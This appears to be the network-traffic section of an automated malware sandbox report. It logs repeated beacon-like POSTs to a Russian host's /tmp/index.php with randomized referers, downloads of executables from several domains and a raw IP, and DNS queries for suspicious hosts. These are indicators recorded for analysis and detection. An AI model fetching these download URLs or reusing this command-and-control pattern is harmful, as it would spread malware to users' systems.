Source: global traffic	HTTP traffic detected: POST /tmp/index.php HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://hsmioefmqryctki.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 307Host: d-s-p.ru
Source: global traffic	HTTP traffic detected: POST /tmp/index.php HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://mmcpyibdxwiwlos.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 240Host: d-s-p.ru
Source: global traffic	HTTP traffic detected: POST /tmp/index.php HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://bqqqwcluixvv.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 313Host: d-s-p.ru
Source: global traffic	HTTP traffic detected: POST /tmp/index.php HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://wojftrqpwndwmdu.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 180Host: d-s-p.ru
Source: global traffic	HTTP traffic detected: POST /tmp/index.php HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://rcluvmsnbxjmn.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 317Host: d-s-p.ru
Source: global traffic	HTTP traffic detected: POST /tmp/index.php HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://abpyxpuyjhta.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 182Host: d-s-p.ru
Source: global traffic	HTTP traffic detected: POST /tmp/index.php HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://anvunsnhjllayr.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 209Host: d-s-p.ru
Source: global traffic	HTTP traffic detected: POST /tmp/index.php HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://iupqlsqcljbulu.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 244Host: d-s-p.ru
Source: global traffic	HTTP traffic detected: POST /tmp/index.php HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://ovyowegmnacdkibi.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 354Host: d-s-p.ru
Source: global traffic	HTTP traffic detected: POST /tmp/index.php HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://lsjajjgmqahp.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 167Host: d-s-p.ru
Source: global traffic	HTTP traffic detected: POST /tmp/index.php HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://ovpfvtkrixi.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 212Host: d-s-p.ru
Source: global traffic	HTTP traffic detected: POST /tmp/index.php HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://ddedgrkngjekmoj.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 198Host: d-s-p.ru
Source: global traffic	HTTP traffic detected: POST /tmp/index.php HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://ypotdnyqkrcswq.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 260Host: d-s-p.ru
Source: global traffic	HTTP traffic detected: POST /tmp/index.php HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://oywmgpnhuhb.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 133Host: d-s-p.ru
Source: global traffic	HTTP traffic detected: POST /tmp/index.php HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://laowevegchj.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 233Host: d-s-p.ru
Source: global traffic	HTTP traffic detected: POST /tmp/index.php HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://dqncwrghqkte.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 156Host: d-s-p.ru
Source: global traffic	HTTP traffic detected: POST /tmp/index.php HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://agvphbybllsas.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 225Host: d-s-p.ru
Source: global traffic	HTTP traffic detected: POST /tmp/index.php HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://mjrsolarxwh.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 211Host: d-s-p.ru
Source: global traffic	HTTP traffic detected: POST /tmp/index.php HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://njmhqmwqrarclhje.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 199Host: d-s-p.ru
Source: global traffic	HTTP traffic detected: POST /tmp/index.php HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://visknbdtdhq.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 229Host: d-s-p.ru
Source: global traffic	HTTP traffic detected: POST /tmp/index.php HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://iasmrrglydiueqr.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 156Host: d-s-p.ru
Source: global traffic	HTTP traffic detected: POST /tmp/index.php HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://xhjqltphdtwpxuw.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 160Host: d-s-p.ru
Source: global traffic	HTTP traffic detected: POST /tmp/index.php HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://aqewaciknwcref.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 134Host: d-s-p.ru
Source: global traffic	HTTP traffic detected: POST /tmp/index.php HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://newmvklahrrrgqt.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 175Host: d-s-p.ru
Source: global traffic	HTTP traffic detected: POST /tmp/index.php HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://plkttxwuhrfxb.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 141Host: d-s-p.ru
Source: global traffic	HTTP traffic detected: POST /tmp/index.php HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://jhajwwseppqky.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 224Host: d-s-p.ru
Source: global traffic	HTTP traffic detected: POST /tmp/index.php HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://dltxnhcbkmo.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 235Host: d-s-p.ru
Source: global traffic	HTTP traffic detected: POST /tmp/index.php HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://hhxuaiudkfar.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 144Host: d-s-p.ru
Source: global traffic	HTTP traffic detected: GET /setup.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: 101.99.94.162
Source: global traffic	HTTP traffic detected: POST /tmp/index.php HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://hssuixmkgbellf.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 147Host: d-s-p.ru
Source: global traffic	HTTP traffic detected: POST /tmp/index.php HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://lnwqqljmdwq.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 165Host: d-s-p.ru
Source: global traffic	HTTP traffic detected: POST /tmp/index.php HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://mvyahhxtkfb.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 152Host: d-s-p.ru
Source: global traffic	HTTP traffic detected: POST /tmp/index.php HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://pagpbwhildwqiuis.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 310Host: d-s-p.ru

Source: unknown	TCP traffic detected without corresponding DNS query: 101.99.94.162
Source: unknown	TCP traffic detected without corresponding DNS query: 101.99.94.162
Source: unknown	TCP traffic detected without corresponding DNS query: 101.99.94.162
Source: unknown	TCP traffic detected without corresponding DNS query: 101.99.94.162
Source: unknown	TCP traffic detected without corresponding DNS query: 101.99.94.162
Source: unknown	TCP traffic detected without corresponding DNS query: 101.99.94.162
Source: unknown	TCP traffic detected without corresponding DNS query: 101.99.94.162
Source: unknown	TCP traffic detected without corresponding DNS query: 101.99.94.162
Source: unknown	TCP traffic detected without corresponding DNS query: 101.99.94.162
Source: unknown	TCP traffic detected without corresponding DNS query: 101.99.94.162
Source: unknown	TCP traffic detected without corresponding DNS query: 101.99.94.162
Source: unknown	TCP traffic detected without corresponding DNS query: 101.99.94.162
Source: unknown	TCP traffic detected without corresponding DNS query: 101.99.94.162
Source: unknown	TCP traffic detected without corresponding DNS query: 101.99.94.162
Source: unknown	TCP traffic detected without corresponding DNS query: 101.99.94.162
Source: unknown	TCP traffic detected without corresponding DNS query: 101.99.94.162
Source: unknown	TCP traffic detected without corresponding DNS query: 101.99.94.162
Source: unknown	TCP traffic detected without corresponding DNS query: 101.99.94.162
Source: unknown	TCP traffic detected without corresponding DNS query: 101.99.94.162
Source: unknown	TCP traffic detected without corresponding DNS query: 101.99.94.162
Source: unknown	TCP traffic detected without corresponding DNS query: 101.99.94.162
Source: unknown	TCP traffic detected without corresponding DNS query: 101.99.94.162
Source: unknown	TCP traffic detected without corresponding DNS query: 101.99.94.162
Source: unknown	TCP traffic detected without corresponding DNS query: 101.99.94.162
Source: unknown	TCP traffic detected without corresponding DNS query: 101.99.94.162
Source: unknown	TCP traffic detected without corresponding DNS query: 101.99.94.162
Source: unknown	TCP traffic detected without corresponding DNS query: 101.99.94.162
Source: unknown	TCP traffic detected without corresponding DNS query: 101.99.94.162
Source: unknown	TCP traffic detected without corresponding DNS query: 101.99.94.162
Source: unknown	TCP traffic detected without corresponding DNS query: 101.99.94.162
Source: unknown	TCP traffic detected without corresponding DNS query: 101.99.94.162
Source: unknown	TCP traffic detected without corresponding DNS query: 101.99.94.162
Source: unknown	TCP traffic detected without corresponding DNS query: 101.99.94.162
Source: unknown	TCP traffic detected without corresponding DNS query: 101.99.94.162
Source: unknown	TCP traffic detected without corresponding DNS query: 101.99.94.162
Source: unknown	TCP traffic detected without corresponding DNS query: 101.99.94.162
Source: unknown	TCP traffic detected without corresponding DNS query: 101.99.94.162
Source: unknown	TCP traffic detected without corresponding DNS query: 101.99.94.162
Source: unknown	TCP traffic detected without corresponding DNS query: 101.99.94.162
Source: unknown	TCP traffic detected without corresponding DNS query: 101.99.94.162
Source: unknown	TCP traffic detected without corresponding DNS query: 101.99.94.162
Source: unknown	TCP traffic detected without corresponding DNS query: 101.99.94.162
Source: unknown	TCP traffic detected without corresponding DNS query: 101.99.94.162
Source: unknown	TCP traffic detected without corresponding DNS query: 101.99.94.162
Source: unknown	TCP traffic detected without corresponding DNS query: 101.99.94.162
Source: unknown	TCP traffic detected without corresponding DNS query: 101.99.94.162
Source: unknown	TCP traffic detected without corresponding DNS query: 101.99.94.162
Source: unknown	TCP traffic detected without corresponding DNS query: 101.99.94.162
Source: unknown	TCP traffic detected without corresponding DNS query: 101.99.94.162
Source: unknown	TCP traffic detected without corresponding DNS query: 101.99.94.162

Source: global traffic	HTTP traffic detected: GET /wp-content/images/pic4.jpg HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: www.tazc.com.my
Source: global traffic	HTTP traffic detected: GET /Vmujqcxm.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: upadaria.org
Source: global traffic	HTTP traffic detected: GET /plugins/panel/uploads/Mwczjtflz.mp4 HTTP/1.1Host: lotuseffectllc.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /Birge.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: firemane.org
Source: global traffic	HTTP traffic detected: GET /plugins/panel/uploads/Mwczjtflz.mp4 HTTP/1.1Host: lotuseffectllc.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /setup.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: 101.99.94.162

Source: global traffic	DNS traffic detected: DNS query: d-s-p.ru
Source: global traffic	DNS traffic detected: DNS query: midginvineco.com
Source: global traffic	DNS traffic detected: DNS query: www.tazc.com.my
Source: global traffic	DNS traffic detected: DNS query: upadaria.org
Source: global traffic	DNS traffic detected: DNS query: lotuseffectllc.com
Source: global traffic	DNS traffic detected: DNS query: webdot.ddns.net
Source: global traffic	DNS traffic detected: DNS query: firemane.org
Source: global traffic	DNS traffic detected: DNS query: kdtIFBJmLPfUAdsjOyiinDxA.kdtIFBJmLPfUAdsjOyiinDxA

Source: unknown

HTTP traffic detected: POST /tmp/index.php HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: */*Referer: http://cjwipwxdaicmvf.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 311Host: d-s-p.ru

Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.0Date: Mon, 30 Dec 2024 18:42:23 GMTContent-Type: text/html; charset=utf-8Connection: closeData Raw: 04 00 00 00 72 e8 82 ee Data Ascii: r
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.0Date: Mon, 30 Dec 2024 18:42:24 GMTContent-Type: text/html; charset=utf-8Connection: closeData Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 74 6d 70 2f 69 6e 64 65 78 2e 70 68 70 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /tmp/index.php was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.0Date: Mon, 30 Dec 2024 18:42:27 GMTContent-Type: text/html; charset=utf-8Connection: closeData Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 74 6d 70 2f 69 6e 64 65 78 2e 70 68 70 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /tmp/index.php was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.0Date: Mon, 30 Dec 2024 18:42:32 GMTContent-Type: text/html; charset=utf-8Connection: closeData Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 74 6d 70 2f 69 6e 64 65 78 2e 70 68 70 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /tmp/index.php was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.0Date: Mon, 30 Dec 2024 18:42:33 GMTContent-Type: text/html; charset=utf-8Connection: closeData Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 74 6d 70 2f 69 6e 64 65 78 2e 70 68 70 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /tmp/index.php was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.0Date: Mon, 30 Dec 2024 18:42:36 GMTContent-Type: text/html; charset=utf-8Connection: closeData Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 74 6d 70 2f 69 6e 64 65 78 2e 70 68 70 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /tmp/index.php was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.0Date: Mon, 30 Dec 2024 18:42:38 GMTContent-Type: text/html; charset=utf-8Connection: closeData Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 74 6d 70 2f 69 6e 64 65 78 2e 70 68 70 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /tmp/index.php was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr></body></html>
